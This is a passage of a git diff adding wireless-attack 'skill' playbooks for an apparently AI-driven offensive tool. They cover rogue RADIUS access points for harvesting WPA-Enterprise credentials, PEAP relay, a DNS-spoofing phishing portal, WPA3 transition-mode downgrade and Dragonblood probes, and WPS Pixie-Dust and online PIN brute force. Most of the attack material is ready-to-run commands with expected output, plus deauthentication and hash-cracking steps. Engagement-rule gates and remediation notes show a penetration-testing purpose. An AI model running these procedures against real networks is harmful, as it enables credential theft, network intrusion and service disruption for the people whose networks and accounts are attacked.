the EAP method(s) in use before standing up the rogue AP: + +```bash +# Passive capture of EAP Identity + EAP method negotiation +sudo airodump-ng -c --bssid -w /tmp/eap_recon \ + --output-format pcap + +# Extract EAP type from the capture +tshark -r /tmp/eap_recon-01.cap -Y "eap" \ + -T fields -e wlan.sa -e eap.identity -e eap.type 2>/dev/null | head -20 + +# EAP types: 25=PEAP, 21=EAP-TTLS, 13=EAP-TLS, 43=EAP-FAST, 6=GTC +``` + +```bash +# Check client TLS validation posture (Android / Linux common misconfiguration) +# Look for EAP-TTLS or PEAP with no CA configured — the wpa_supplicant +# "phase2" credential accepts any server cert by default on many distros. +# Detection: if client completes TLS handshake with a self-signed cert +# on your rogue AP → validation not enforced → capture succeeds. +``` + +## Step 2A — Rogue RADIUS with eaphammer (recommended) + +```bash +# 1. Generate a rogue cert matching the target org domain +python3 eaphammer --cert-wizard + +# 2. Stand up rogue Enterprise AP targeting PEAP-MSCHAPv2 +# Replace with the exact target SSID. +python3 eaphammer -i \ + --channel \ + --auth wpa-eap \ + --essid "" \ + --creds \ + --negotiate gtc-downgrade + +# --negotiate gtc-downgrade forces EAP-GTC instead of MSCHAPv2 on +# clients that would otherwise validate the server cert. GTC sends +# the password in plaintext inside the TLS tunnel. + +# 3. On MSCHAPv2 capture, eaphammer prints: +# [+] Captured EAP identity: DOMAIN\username +# [+] MSCHAPv2 challenge: aabbccdd... +# [+] MSCHAPv2 response: 00112233... +# Save to /workspace/evidence/wireless/eap_.txt +``` + +## Step 2B — hostapd-wpe (alternative, wider EAP-type support) + +```bash +# 1. Configure /etc/hostapd-wpe/hostapd-wpe.conf: +# interface= +# ssid= +# channel= +# eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user + +# 2. Launch +sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf + +# 3. WPE logs to stdout: +# wpe: identity: DOMAIN\user +# wpe: challenge: 7a8b9c... +# wpe: response: 001122... +``` + +## Step 3 — Optional: drive client association via deauth + +```bash +# If clients are stubbornly staying on the legitimate AP, deauth +# them to trigger reassociation to the rogue AP. +# Requires permitted_actions: deauth_for_handshake_capture in RoE. +sudo aireplay-ng --deauth 1 -a -c +``` + +## Step 4A — Offline crack (MSCHAPv2 → NetNTLM) + +```bash +# asleap: fast MSCHAPv2 cracker against dictionary +asleap -C -R \ + -W /usr/share/wordlists/rockyou.txt + +# hashcat: convert to netntlmv2 format then crack with -m 5600 +# Format: username::::response:challenge (NetNTLMv2 hashcat style) +echo "DOMAIN\\username::::${response_hex}:${challenge_hex}" \ + > /tmp/ntlm.hash +hashcat -m 5600 /tmp/ntlm.hash /usr/share/wordlists/rockyou.txt \ + --rules-file /usr/share/hashcat/rules/best64.rule + +# john the ripper alternative +john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt \ + /tmp/ntlm.hash +``` + +## Step 4B — PEAP relay (network access without cracking) + +When the password is complex and unlikely to crack in engagement +timeframe, relay the MSCHAPv2 exchange to gain Wi-Fi network access: + +```bash +# hostapd-mana (full MANA attack) + wpa_sycophant for PEAP relay +# wpa_sycophant relays the EAP exchange upstream to the legit RADIUS, +# completing auth and granting the attacker network access. + +# 1. Start wpa_sycophant pointing at the legitimate AP +sudo python3 wpa_sycophant.py -c wpa_sycophant.conf \ + --interface + +# 2. Start rogue AP with berate_ap (hostapd-mana variant) +sudo berate_ap --mana --mana-credout /tmp/mana_creds.txt \ + "" + +# Result: attacker AP completes EAP auth by proxying to the real +# RADIUS; attacker device gets a valid IP on the enterprise WLAN. +``` + +## Step 5 — Hostile portal AD credential capture + +```bash +# After MITM network access, redirect HTTP traffic to a phishing page +# that mimics the corporate SSO/OWA/VPN login. +# Use bettercap + dns.spoof + http.proxy for transparent MITM: +sudo bettercap -iface \ + -eval "net.probe on; dns.spoof on; http.proxy on" +# Configure http.proxy to inject credential-capture page. +# Captured creds stored to /workspace/evidence/wireless/portal_creds.txt +``` + +## Evidence + +```python +kg_add_node( + kind="credential", + label=f"EAP MSCHAPv2 for {identity} on {ssid}", + props={ + "key": f"eap-mschapv2::{bssid}::{identity}", + "secret_type": "eap_mschapv2", + "ssid": ssid, + "bssid": bssid, + "eap_identity": identity, # e.g. "CORP\\jsmith" + "eap_realm": realm, # e.g. "corp.example.com" + "challenge": challenge_hex, + "response": response_hex, + "plaintext_password": password, # null if not cracked + "attack_path": "rogue-radius-eaphammer", + "source": "eaphammer", + }, +) + +kg_add_node( + kind="finding", + label="WPA-Enterprise: Server Certificate Not Validated", + props={ + "key": f"eap-cert-validation::{bssid}", + "severity": "critical", + "affected_clients": [], + "remediation": ( + "Configure wpa_supplicant with ca_cert pointing to the " + "corporate CA, or enforce 802.1X server cert validation " + "via MDM policy." + ), + }, +) +``` + +## ZFP + +1. eaphammer / hostapd-wpe console output showing captured identity + challenge/response. +2. `asleap` or `hashcat --show` output proving password crack (if successful). +3. For relay path: `ip addr` output showing IP assignment on the enterprise WLAN. + +## RoE gate + +``` +HARD STOP: rogue RADIUS AP requires ALL of: + plan/roe.json:permitted_actions contains "evil_twin" + plan/roe.json:permitted_actions contains "rogue_radius" + regulatory domain TX authorized for the target channel + No public airspace without explicit operator approval in session +``` + +## OPSEC notes + +- EAP identity is sent in cleartext before the TLS tunnel; passive + capture of usernames is possible without standing up a rogue AP + (quieter for recon). +- eaphammer with `--negotiate gtc-downgrade` is louder than passive + capture — generates EAP Nak frames visible to WIDS. +- PEAP relay requires sustained active TX; posture = loud. +- Hand cracked NetNTLM to `offensive-active-directory` skill for + NTLM-relay / pass-the-hash chain. + +## References + +- eaphammer: github.com/s0lst1c3/eaphammer +- hostapd-wpe: github.com/OpenSecurityResearch/hostapd-wpe +- wpa_sycophant: github.com/sensepost/wpa_sycophant +- asleap: github.com/joswr1ght/asleap +- `offensive-active-directory` skill — post-foothold NTLM relay once creds land. +- `evil-twin-karma` skill — general rogue AP setup mechanics. +- `deauth-pmf` skill — targeted deauth for client coercion. diff --git a/packages/decepticon/decepticon/skills/standard/wireless/wpa3-sae/SKILL.md b/packages/decepticon/decepticon/skills/standard/wireless/wpa3-sae/SKILL.md new file mode 100644 index 000000000..07d461279 --- /dev/null +++ b/packages/decepticon/decepticon/skills/standard/wireless/wpa3-sae/SKILL.md @@ -0,0 +1,226 @@ +--- +name: wpa3-sae +description: WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks. +allowed-tools: Bash Read Write +metadata: + subdomain: wireless + when_to_use: "WPA3, SAE, Dragonblood, transition mode downgrade, SSID confusion, dragonshift, MFP, WPA3-Personal, SAE handshake, simultaneous authentication of equals" + tags: + - wpa3 + - sae + - dragonblood + - transition-mode + - ssid-confusion + - pmf + mitre_attack: T1557, T1040 +--- + +# WPA3-SAE + +> SAE is an online-only protocol — there is no PMKID or 4-way +> handshake hash to crack offline. The headline deliverable when the +> PSK is unrecoverable is the **MFP state finding** (mandatory vs +> optional vs disabled) which proves downgrade viability. Realistic +> outcome: either recover the PSK via the transition-mode WPA2 leg, +> or document SAE + MFP as a hardened target with no further wireless +> attack surface. + +## Prerequisites + +- Monitor-mode adapter on the target channel. +- Tools: `aircrack-ng` suite, `hcxdumptool`, `hcxpcapngtool`, + `hashcat`, `iw`, `tshark` or `wireshark-cli`. +- Optional (Dragonblood / transition probing): `dragonslayer` / + `wpa_supplicant` dev branch (Vanhoef scripts), Python 3.8+. +- Confirm `iw reg get` matches the engagement's regulatory domain + before any TX. + +## Path A — Transition-mode downgrade (DragonShift) + +**Target signature:** AP advertises both PSK and SAE (`WPA2 WPA3` +in airodump ENC column, or RSN IE shows both AKM 00-0F-AC:2 PSK +and 00-0F-AC:8 SAE), **AND** PMF is optional (`MFPC=1, MFPR=0`) +rather than required (`MFPR=1`). + +```bash +# 1. Passive recon — confirm transition mode + PMF state +sudo airodump-ng --write-interval 1 -w /tmp/wpa3_recon --output-format csv,pcap \ + -c --bssid + +# 2. Decode RSN capabilities from beacon to read MFPC/MFPR +tshark -r /tmp/wpa3_recon-01.cap -Y "wlan.fc.type_subtype == 8" \ + -T fields \ + -e wlan.ssid \ + -e wlan_mgt.rsn.capabilities.mfpc \ + -e wlan_mgt.rsn.capabilities.mfpr 2>/dev/null | head -5 + +# Expected output for downgrade-viable target: +# TargetSSID 1 0 +# MFPC=1 MFPR=0 → PMF optional → client negotiates WPA2 PSK leg +# MFPC=1 MFPR=1 → PMF required → downgrade blocked; pivot to Path B/C/D +``` + +```bash +# 3. Coerce client onto the WPA2 PSK leg +# Send targeted deauth to a connected client (requires +# permitted_actions: deauth_for_handshake_capture in RoE). +sudo aireplay-ng --deauth 1 -a -c + +# 4. Client reconnects choosing WPA2 PSK AKM (no SAE preference). +# Capture the resulting 4-way handshake / PMKID from airodump. +hcxpcapngtool -o /tmp/downgrade.hc22000 /tmp/wpa3_recon-01.cap + +# 5. Crack with hashcat exactly as wpa2-psk skill. +hashcat -m 22000 /tmp/downgrade.hc22000 /usr/share/wordlists/rockyou.txt +``` + +> Hand off to `wpa2-psk` skill for cracking if the above yields a +> hash. The downgrade finding stands independently even without a +> cracked PSK. + +## Path B — SSID Confusion (CVE-2023-52424) + +**Preconditions (all required):** +1. Victim device has stored credentials for SSID-A on network-A + AND SSID-A on network-B (credential reuse across SSIDs). +2. Neither AP uses beacon protection (802.11bn beacon-integrity + extension — uncommon in 2026 consumer gear). +3. The PMK derivation in the target's supplicant does not bind the + SSID (WPA2/WPA3 SAE do not bind SSID into the PMK by spec unless + the vendor implements extra protection). + +```bash +# 1. Identify trusted SSID the client probes for +sudo airodump-ng 2>/dev/null | grep "Probe" +# e.g., victim probes for "CorpWifi" which reuses PSK on home AP + +# 2. Confirm no beacon protection in target beacons +tshark -r /tmp/wpa3_recon-01.cap -Y "wlan.fc.type_subtype == 8" \ + -T fields -e wlan.ssid -e wlan.tag.number 2>/dev/null | grep "130" +# Tag 130 = FILS Public Key / beacon protection present → attack blocked + +# 3. Stand up a rogue AP with the trusted SSID using the +# victim's own SAE credentials (operator already has the PSK from +# another path, or this is a known shared-PSK environment). +# Cross-reference evil-twin-karma skill for rogue AP setup. +# The victim associates using its saved PSK — traffic flows via +# attacker AP despite never cracking SAE directly. +``` + +**Limits:** Requires credential reuse. Most corporate environments +use unique per-network credentials, defeating this. Primarily viable +in SMB/SOHO where the same "home" PSK is reused on a WPA3 network. +(Reference: Vanhoef & Gollier, "SSID Confusion Attack", USENIX 2024.) + +## Path C — Dragonblood side-channels (legacy/embedded only) + +**Viability note:** Both the timing and cache side-channel variants +(CVE-2019-9494, CVE-2019-9496) and the ECC group-downgrade attack +(CVE-2019-13377) are **patched in hostapd ≥ 2.9 / wpa_supplicant ≥ +2.9 (2019)**. Target must be running unpatched firmware — typical +on embedded routers, old ISP-supplied CPE, or IoT access points +with frozen firmware. + +```bash +# 1. Check AP firmware / hostapd version via beacon or SNMP +sudo airodump-ng --bssid -c +# Look for vendor OUI → cross-ref CVE database for hostapd version + +# 2. Group-downgrade probe — send SAE Commit with ECC group 22 (non-default) +# Vanhoef dragonslayer script automates this: +python3 dragonslayer.py --interface --target-bssid \ + --test group-downgrade + +# 3. Timing attack (cache/timing oracle on P-521 scalar multiplication) +# Also in dragonslayer; requires ~1000 timing samples to extract nonce. +python3 dragonslayer.py --interface --target-bssid \ + --test timing-attack --iterations 1200 + +# Output: recovered nonce bits → partial PSK entropy. +# Full offline crack still requires mutation + hashcat. +``` + +**Expected result on patched target:** SAE Commit is rejected with +status 77 (unsupported finite cyclic group) for group 22, and timing +variance is <10 µs (indistinguishable). Mark as `not_vulnerable`. + +## Path D — SAE captive-portal social-engineering recovery + +For networks where SAE is cryptographically intact and the PSK is +strong, a hostile-portal workflow (social engineering) can recover +the PSK directly from the user: + +```bash +# Stand up evil-twin with matching SSID + deauth. +# See evil-twin-karma skill for full rogue AP + portal setup. +# Workflow: victim sees "Reconnect to Wi-Fi" prompt on portal page; +# submits PSK; phishing page validates it against a local wpa_supplicant +# instance pointing at a dummy SAE AP to confirm credential correctness +# before accepting. +# Reference: Chatzisofroniou & Vanhoef arXiv:2412.15381 (2024). +``` + +## Evidence + +On successful downgrade or PSK recovery, write a `Credential` node: + +```python +kg_add_node( + kind="credential", + label=f"WiFi PSK for {ssid} (WPA3-SAE transition downgrade)", + props={ + "key": f"wifi-psk::{bssid}", + "secret_type": "wpa_sae", + "ssid": ssid, + "bssid": bssid, + "psk": psk, + "attack_path": "wpa3-transition-downgrade", + "cracked_at": "", + "source": "dragonshift+hashcat-22000", + }, +) +``` + +Always write a `Finding` node for the PMF state regardless of crack outcome: + +```python +kg_add_node( + kind="finding", + label="WPA3 Transition Mode — PMF Optional (Downgrade Viable)", + props={ + "key": f"pmf-optional::{bssid}", + "severity": "high", + "mfpc": True, + "mfpr": False, + "cve_ids": [], + "remediation": "Set MFP=Required (MFPR=1) on the AP to block transition-mode downgrade.", + }, +) +``` + +## ZFP + +1. tshark or Wireshark screenshot showing MFPC=1, MFPR=0 in RSN capabilities. +2. Captured .hc22000 from the WPA2-leg reconnection (or dragonslayer output for Path C). +3. `hashcat --show` output confirming PSK (if cracked). + +If PSK not cracked: the PMF-optional finding is a standalone deliverable. Document as "SAE transition-mode downgrade viable; PSK not recovered in engagement timeframe." + +## OPSEC notes + +- Transition-mode downgrade requires one targeted deauth — gate on + `permitted_actions: deauth_for_handshake_capture`. +- PMKID capture from the WPA2 leg is OPSEC-quiet (no deauth). +- Dragonblood timing attack requires ~10+ minutes of repeated SAE + Commit frames — loud, triggers WIDS. Gate on `posture=loud`. +- SSID Confusion and portal recovery (Path B/D) involve active TX; + check regulatory domain first. + +## References + +- `references/wpa3-transition-mode-notes.md` — extended transition-mode notes. +- Vanhoef & Gollier, "SSID Confusion Attack", USENIX Security 2024 (CVE-2023-52424). +- Vanhoef & Ronen, "Dragonblood: Analyzing the Dragonfly Handshake of WPA3-SAE", IEEE S&P 2020. +- `wpa2-psk` skill — crack the recovered WPA2-leg handshake. +- `evil-twin-karma` skill — rogue AP setup for Path D. +- `deauth-pmf` skill — PMF detection and targeted deauth mechanics. diff --git a/packages/decepticon/decepticon/skills/standard/wireless/wps-pixie-dust/SKILL.md b/packages/decepticon/decepticon/skills/standard/wireless/wps-pixie-dust/SKILL.md new file mode 100644 index 000000000..2f77c63d2 --- /dev/null +++ b/packages/decepticon/decepticon/skills/standard/wireless/wps-pixie-dust/SKILL.md @@ -0,0 +1,191 @@ +--- +name: wps-pixie-dust +description: WPS Pixie-Dust offline nonce attack (reaver -K / pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake. +allowed-tools: Bash Read Write +metadata: + subdomain: wireless + when_to_use: "WPS, Pixie Dust, reaver, bully, pixiewps, WPS PIN, wash, WPS enabled, WPS locked, SOHO router, legacy AP" + tags: + - wps + - pixie-dust + - reaver + - bully + - pixiewps + mitre_attack: T1110.001, T1040 +--- + +# WPS Pixie-Dust + Online PIN Brute + +> Pixie-Dust is a single-association offline attack — quiet by +> wireless IDS standards. Online brute is loud, triggers lockout on +> most modern APs, and should be gated behind `posture=loud`. When +> Pixie-Dust succeeds, reaver returns the full WPA PSK directly — +> no handshake capture or hashcat cracking required. + +## Prerequisites + +- Monitor-mode adapter. +- Tools: `wash`, `reaver`, `bully`, `pixiewps` (installed as reaver dependency on Kali). +- Target AP must have WPS enabled (check with `wash`). + +## Step 1 — Enumerate WPS-enabled APs + +```bash +# Scan for WPS-enabled APs on all channels +sudo wash -i --ignore-fcs 2>/dev/null + +# Key columns in wash output: +# BSSID | Ch | dBm | WPS | Lck | Vendor | ESSID +# WPS = WPS version (1.0 / 2.0) +# Lck = WPS Locked (Yes/No) — locked APs resist online brute; +# Pixie-Dust may still work if the nonce is weak. + +# Targeted scan on a single channel +sudo wash -i -c --ignore-fcs 2>/dev/null +``` + +## Step 2 — Pixie-Dust (preferred, OPSEC-quiet) + +The Pixie-Dust attack exploits weak or reused ES1/ES2 nonces in the +WPS EAP exchange. The AP sends both nonces during PIN verification; +if they are pseudo-random (common on Ralink/Realtek/Broadcom chipsets +from 2010–2018), pixiewps recovers the PIN offline from a single +exchange (~1–5 seconds). + +```bash +# Pixie-Dust with reaver (-K 1 enables pixiewps mode) +sudo reaver -i -b -c \ + -K 1 -vv -N + +# -K 1 : enable Pixie-Dust (pixiewps) +# -vv : verbose output showing nonces and PIN +# -N : do not send NACK (reduces retransmissions) + +# Successful output looks like: +# [+] WPS PIN: '12345670' +# [+] WPA PSK: 'SuperSecretPass99' +# [+] AP SSID: 'TargetSSID' +``` + +```bash +# Alternative: bully with Pixie-Dust +sudo bully -b -c -d -v 3 + +# -d : enable Pixie-Dust mode +# -v 3: verbose level 3 +``` + +**Pixie-vulnerable chipsets (non-exhaustive):** + +| Chipset / Vendor | Vulnerability | +|---|---| +| Ralink RT2860/RT3070 | ES1=ES2=0x00…00 (zero nonce) | +| Realtek RTL8188 | Reused nonces across sessions | +| Broadcom BCM4325/BCM4329 | Predictable PRF seed | +| Atheros AR9271 | Session-invariant nonces on some firmware | +| MediaTek MT7612 (pre-2017) | Weak PRNG | + +Patched or unaffected: modern Intel, Qualcomm Atheros post-2018, +most WPA3-capable APs with WPS 2.0.4+. + +## Step 3 — Fallback online PIN brute (posture=loud only) + +If Pixie-Dust fails (nonces are random), fall back to online PIN brute. +The WPS PIN space is 10^8 but the last digit is a checksum, and the +verifier splits the PIN: M1–M4 test the first 4 digits (10^4 = 10000 +attempts), M5–M7 test the last 3+checksum (10^3 = 1000 attempts). +Total: ~11,000 attempts. + +```bash +# Online brute with reaver +sudo reaver -i -b -c \ + -vv --delay=1 --lock-delay=60 + +# --delay=1 : 1s between attempts (reduces lockout) +# --lock-delay=60: wait 60s when AP locks WPS + +# Online brute with bully (better lockout handling) +sudo bully -b -c \ + --pixiewps-dir /usr/share/bully \ + -d -S -F -B -v 3 +``` + +**RoE gate for online brute:** + +``` +HARD STOP: online WPS brute requires posture=loud in RoE. + - Generates ~11,000 EAP-WPS associations → extremely loud. + - Many APs lock WPS after 3–5 failed attempts (WPS Locked = Yes in wash). + - Some APs brick WPS permanently after repeated lockouts. + - Confirm target AP is in scope and WPS DoS/lockout is an accepted risk. +``` + +## Step 4 — On PIN recovery + +When either method recovers the PIN, reaver/bully print the PSK: + +```bash +# If PIN is known but PSK needs re-extraction (e.g., AP rebooted): +sudo reaver -i -b -c -p -vv +``` + +## Evidence + +```python +kg_add_node( + kind="credential", + label=f"WiFi PSK for {ssid} (WPS Pixie-Dust)", + props={ + "key": f"wifi-psk::{bssid}", + "secret_type": "wpa_psk", + "ssid": ssid, + "bssid": bssid, + "psk": psk, + "wps_pin": pin, + "attack_path": "wps-pixie-dust", + "recovered_at": "", + "source": "reaver+pixiewps", + }, +) + +kg_add_node( + kind="finding", + label="WPS Pixie-Dust Susceptible", + props={ + "key": f"wps-pixie-dust::{bssid}", + "severity": "critical", + "wps_version": wps_version, + "chipset_guess": chipset, + "remediation": ( + "Disable WPS entirely on the AP. If WPS must remain enabled, " + "upgrade firmware; WPS 2.0.4+ with secure random nonces mitigates " + "Pixie-Dust. Disable WPS PIN method; keep only WPS Push-Button " + "with physical access requirement." + ), + }, +) +``` + +## ZFP + +1. Pcap of the WPS EAP exchange (airodump running during reaver — `cap-01.cap`). +2. reaver / bully console output showing PIN + PSK recovery line. +3. Optionally: `pixiewps -e -r ...` output showing offline nonce extraction. + +## OPSEC notes + +- Pixie-Dust is a **single WPS association** — generates one EAP-WPS + exchange. Most WIDS do not alert on a single WPS attempt. +- Online PIN brute generates hundreds to thousands of associations — + visible in WIDS, triggers WPS lockout, and may corrupt WPS state. +- WPS Locked (`Lck=Yes` in wash) does NOT prevent Pixie-Dust; it only + blocks further PIN attempts after the current session. +- Running reaver on a WPS-locked AP with Pixie-Dust: add `--ignore-locks`. + +## References + +- Dominique Bongard, "Offline bruteforce attack on WiFi Protected Setup" (PixieDust, 2014). +- pixiewps: github.com/wiire-a/pixiewps +- reaver-wps-fork-t6x: github.com/t6x/reaver-wps-fork-t6x +- bully: github.com/nicowillis/bully +- `wpa2-psk` skill — alternative PSK capture if WPS fails.